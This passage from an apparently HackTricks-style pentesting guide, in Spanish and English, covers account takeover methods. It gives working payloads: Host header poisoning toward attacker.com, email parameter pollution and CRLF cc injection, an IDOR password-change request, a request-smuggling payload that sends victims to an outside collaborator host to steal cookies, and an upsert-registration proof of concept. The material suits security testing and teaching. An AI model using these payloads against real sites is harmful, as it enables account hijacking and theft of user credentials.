def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Intenta una carrera de verificación: envía el mismo OTP válido simultáneamente en dos sesiones; a veces una sesión se convierte en una cuenta atacante verificada mientras que el flujo de la víctima también tiene éxito.
- También prueba Host header poisoning en los enlaces de verificación (igual que reset poisoning más abajo) para leak o completar la verificación en un host controlado por el atacante.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Técnicas de Pre‑Hijacking de cuentas (antes de que la víctima se registre)

Una clase potente de problemas ocurre cuando un atacante realiza acciones sobre el email de la víctima antes de que esta cree su cuenta, y luego recupera el acceso más tarde.

Técnicas clave a probar (adáptalas a los flujos del objetivo):

- Classic–Federated Merge
  - Attacker: registers a classic account with victim email and sets a password
  - Victim: later signs up with SSO (same email)
  - Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
  - Attacker: creates account and holds a long‑lived session (don’t log out)
  - Victim: recovers/sets password and uses the account
  - Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
  - Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
  - Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
  - Attacker: initiates email‑change to attacker mail and withholds confirmation
  - Victim: recovers the account and starts using it
  - Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
  - Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
  - Victim: signs up via classic route
  - Service merges on email without checking `email_verified` or performing local verification

Consejos prácticos

- Harvest flows and endpoints from web/mobile bundles. Busca classic signup, SSO linking, cambio de email/teléfono y endpoints de password reset.
- Crea automatizaciones realistas para mantener las sesiones activas mientras pruebas otros flujos.
- Para pruebas de SSO, despliega un OIDC test provider y emite tokens con `email` claims para la dirección de la víctima y `email_verified=false` para comprobar si el RP confía en IdPs no verificados.
- Después de cualquier password reset o cambio de email, verifica que:
  - todas las demás sesiones y tokens queden invalidadas,
  - las capacidades pendientes de cambio de email/teléfono se cancelen,
  - los IdPs/emails/teléfonos previamente vinculados se re‑verifiquen.

Nota: Metodología extensa y casos de estudio de estas técnicas están documentados en la investigación de pre‑hijacking de Microsoft (ver References al final).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Solicita el password reset a tu dirección de email
2. Haz clic en el password reset link
3. No cambies la contraseña
4. Haz clic en cualquier web de 3rd party (eg: Facebook, twitter)
5. Intercepta la petición en el proxy de Burp Suite
6. Comprueba si el referer header está leaking el password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercepta la petición de password reset en Burp Suite
2. Añade o edita los siguientes headers en Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Reenvía la petición con el header modificado\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Busca una URL de password reset basada en el _host header_ como: `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR en parámetros de API

1. El atacante debe iniciar sesión con su cuenta y acceder a la funcionalidad Change password.
2. Inicia Burp Suite e intercepta la petición.
3. Envíala a la pestaña Repeater y edita los parámetros: User ID/email
   powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

El token de restablecimiento de contraseña debe generarse aleatoriamente y ser único cada vez.
Intenta determinar si el token expira o si siempre es el mismo; en algunos casos el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables podrían ser usadas por el algoritmo.

• Timestamp
• UserID
• Email of User
• Firstname and Lastname
• Date of Birth
• Cryptography
• Number only
• Small token sequence ( characters between [A-Z,a-z,0-9])
• Token reuse
• Token expiration date

Leaking Password Reset Token

1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
2. Inspect the server response and check for resetToken
3. Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

1. Regístrate en el sistema con un username idéntico al del objetivo, pero con espacios en blanco insertados antes y/o después del username. e.g: "admin "
2. Solicita un password reset con tu username malicioso.
3. Usa el token enviado a tu email y restablece la contraseña de la víctima.
4. Conéctate a la cuenta de la víctima con la nueva contraseña.

La plataforma CTFd fue vulnerable a este ataque.
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

1. Encuentra un XSS dentro de la aplicación o en un subdominio si las cookies están scoped al dominio padre : *.domain.com
2. Leak the current sessions cookie
3. Autentícate como el usuario usando la cookie

Account Takeover Via HTTP Request Smuggling

1. Usa smuggler para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)
   powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
2. Crea una request que sobrescriba el POST / HTTP/1.1 con los siguientes datos:
   GET http://something.burpcollaborator.net HTTP/1.1 X: con el objetivo de open redirect a las víctimas hacia burpcollab y robar sus cookies\
3. La request final podría parecerse a la siguiente

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug\

• https://hackerone.com/reports/737140\
• https://hackerone.com/reports/771666

Account Takeover via CSRF

1. Crear un payload para el CSRF, e.g: “HTML form with auto submit for a password change”
2. Enviar el payload

Account Takeover via JWT

JSON Web Token might be used to authenticate an user.

• Editar el JWT con otro User ID / Email
• Comprobar si la firma JWT es débil

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Algunos signup handlers realizan un upsert cuando el email proporcionado ya existe. Si el endpoint acepta un body mínimo con un email y password y no aplica ownership verification, enviar el email de la víctima sobrescribirá su password pre-auth.

• Discovery: extraer nombres de endpoint desde bundled JS (o tráfico de la app móvil), luego fuzzear base paths como /parents/application/v4/admin/FUZZ usando ffuf/dirsearch.
• Method hints: un GET que devuelve mensajes como “Only POST request is allowed.” suele indicar el verbo correcto y que se espera un JSON body.
• Minimal body observed in the wild:

{"email":"victim@example.com","password":"New@12345"}

Ejemplo PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impacto: Full Account Takeover (ATO) sin ningún reset token, OTP o email verification.

Referencias

• How I Found a Critical Password Reset Bug (Registration upsert ATO)
• Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
• https://salmonsec.com/cheatsheet/account_takeover
• Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.